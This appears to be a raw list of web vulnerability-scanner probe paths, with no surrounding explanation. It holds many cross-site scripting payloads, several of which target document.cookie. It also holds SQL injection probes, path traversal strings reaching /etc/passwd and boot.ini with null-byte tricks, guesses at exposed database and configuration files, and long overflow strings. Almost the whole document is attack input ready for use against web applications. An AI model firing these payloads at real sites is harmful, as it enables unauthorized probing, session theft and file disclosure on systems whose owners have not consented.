//profiles.php?what=contact&author=ich&authoremail=bla%40bla.com&subject=hello&message=text&uid=&lt;script&gt;alert(document.cookie)&lt;/script&gt;
//shopping/database/metacart.mdb
//siteserver/publishing/viewcode.asp?file=index.asp
/1,1&url=bla&title=bla
/1099935026.inc
/1103814432.html
/1223618186/
/126471964
/1348236219.asp
/1356859557.old
/1452615053.plx
/145616142.bat
/1471204625.htx
/1593095390.sys
/1621993648/
/1678503424.out
/1757898166.vts
/1771911919.pl
/1824300640.txt
/1849358268.php
/1856431821.ht<
/1869424089.conf
/1929090552.old
/1942766763.log
/1950935337.config
/2006/
/2006181979.old
/2007/
/2008/
/2043720955.jsp
/2047369866.lst
/2072826102.php%20
/2077345765.')<*_escaped_end_tag_*>SCRIPT>
/275468592.txt
/288611593.data
/291014750.c
/297881414.htm
/298560447/
/2bgal/1391187006.php
/2bgal/disp_album.php?id_album='
/2bgal/disp_album.php?id_album=1'
/333926761
/336498031.trc
/347069762.xml
/364332/
/366928694.plx
/367850337.idc
/388431988/
/394956200.dat
/397359357.mdb
/401008268.db
/407931088.aspx
/438361751.exe
/441954506.htm<
/4830ed7a44601aca8488617f4b313ba4
/495455628/
/49636377.ini
/4DBin/_/../../../../../../../boot.ini
/514275695.htm
/550758426.LOG
/595370955.tcl
/648854697.php3
/666%0a%0a<script>alert('Vulnerable');</script>666.jsp
/693697721.')<*_escaped_end_tag_*>SCRIPT>
/705495126.plx
/707767630.dbf
/754559047
/778123046.do
/792136799.pw
/837620080.cfg
/852566C90012664F
/857583/
/874840/
/88196838.cgi
/912495159.shtml
/95119658.html
/957107688.dll
/999'
/<SCRIPT>alert('Your+log+viewing+software+is+vulnerable+to+cross+site+scripting+attacks.')</SCRIPT>
/<oot.ini
/<script>alert("CSS");</script>
/<script>alert('CSS')</script>
/<script>alert('TRACE');</script>
/<script>alert('Vulnerable')</script>
/<script>alert('Vulnerable')</script>.aspx
/<script>alert('Vulnerable')</script>.jsp
/<script>alert('Vulnerable')</script>.shtm
/<script>alert('Vulnerable')</script>.shtml
/<script>alert('Vulnerable')</script>.stm
/<script>alert('Vulnerable')</script>.thtml
/<script>alert('XSS')</script>
/<script>alert('XSS')</script>.jsp
/<script>alert(097531)</script>
/<script>alert(1234)</script>
/<script>alert(2966)</script>.cfm
/<script>alert(2968)</script>.cfml
/<script>alert(856);</script>.cfm
/<script>alert(document.domain)</script>
/<script>alert(xss)</script>
/>+ACJ-+AD4APB-SCRIPT/TYPE=TEXT/VBSCRIPT+AD7-MSGBOX(123)+AA0APB-/SCRIPT+AD7-
/>/noSuchFile.jsp
/>/nonexistent.jsp
/?%3E%27%22%3E%3Cscript%3Ealert%2810118%29%3C%2Fscript%3E=123
/?%3E%27%22%3E%3Cscript%3Ealert%2810122%29%3C%2Fscript%3E=123
/?=>"'><ScRiPt>alert(xss)</ScRiPt>
/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
/?>"'><ScRiPt>alert(xss)</ScRiPt>
/?>'"><script>alert(10116)</script>
/?>'"><script>alert(10120)</script>
/?><script>alert('XSS');</1436098301/
/?><script>alert('XSS');</script>
/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/?D=A
/?M=A
/?N=D
/?Open
/?OpenServer
/?PageServices
/?S=A
/?S=D
/?\"><script>alert('Vulnerable');</script>
/?act=SR&f='><script>alert(document.cookie)</script>
/?action=viewgallery&type=album&aid=&page=-1%27
/?archive&ctg=%27
/?c='><script>alert(document.cookie)</script>
/?feed=rss2&p=11%27
/?foo=too&hop=&gazon=zz
/?gallery=gallery/includes/admin.class.php
/?ilang=eng&SID=&%3Cscript%3Ealert%282320%29%3C%2Fscript%3E
/?ilang=eng&SID=2%22%3Cscript%3Ealert(xss);%3C/script%3E
/?lng=<script>alert(document.cookie);</script>
/?mod=<script>alert(document.cookie)</script>&op=browse
/?mod=some_thing&op=browse
/?mosConfig_absolute_path=
/?order_num=abcd&payment=%22>&lt;script&gt;alert(832)&lt;/script&gt;&send=first&send=regular&send=priority&send=express
/?p=
/?p=unsubscribe&id=1&unsubscribeemail=%22%3E%3Cscript%3Ealert%283338%29%3C%2Fscript%3E
/?pag=
/?page=
/?page=/../../../../../../../../boot.ini%00
/?page=/../../../../../../../../etc/passwd%00
/?page=/../../../../../../../../winnt/win.ini%00
/?page=shop%2Fflypage&product_id=-3%27
/?page_id=115&forumaction=showprofile&user=%27
/?pageid=%3Cscript%3Ealert%288986%29%3C%2Fscript%3E
/?pattern=/etc/*&sort=name
/?pg=
/?properties
/?result=%3Cscript%3Ealert%288464%29%3C%2Fscript%3E
/?s=%2C
/?showuser='><script>alert(document.cookie)</script>
/?sql_debug=1
/?user=&error='"><script>alert('SPIXSS');</script>
/?user=&error=<script>alert('SPIXSS');</script>
/?user=&error=<script>alert('XSS');</script>
/?wp-cs-dump
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA